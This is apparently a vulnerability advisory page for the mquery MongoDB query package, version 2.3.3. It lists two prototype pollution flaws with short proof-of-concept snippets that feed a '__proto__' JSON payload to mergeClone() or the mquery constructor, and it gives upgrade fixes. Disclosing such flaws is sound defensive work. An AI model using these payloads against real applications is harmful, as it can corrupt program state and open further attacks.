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mquery@2.3.3 vulnerabilities

Expressive query building for MongoDB

  • latest version

    5.0.0

  • latest non vulnerable version

    5.0.0

  • first published

    12 years ago

  • latest version published

    2 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the mquery package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    mquery is an Expressive query building for MongoDB

    Affected versions of this package are vulnerable to Prototype Pollution via the mergeClone() function.

    PoC by zhou, peng

    mquery = require('mquery');
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mquery.utils.mergeClone({}, JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED

    How to fix Prototype Pollution?

    Upgrade mquery to version 3.2.5 or higher.

    <3.2.5
    • H
    Prototype Pollution

    mquery is an Expressive query building for MongoDB

    Affected versions of this package are vulnerable to Prototype Pollution via the merge function within lib/utils.js. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

    PoC

       require('./env').getCollection(function(err, collection) {
      assert.ifError(err);
      col = collection;
      done();
    });
    var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');
    var m = mquery(payload);
    console.log({}.polluted);
// The empty object {} will have a property called polluted which will print vulnerable

    How to fix Prototype Pollution?

    Upgrade mquery to version 3.2.3 or higher.

    <3.2.3
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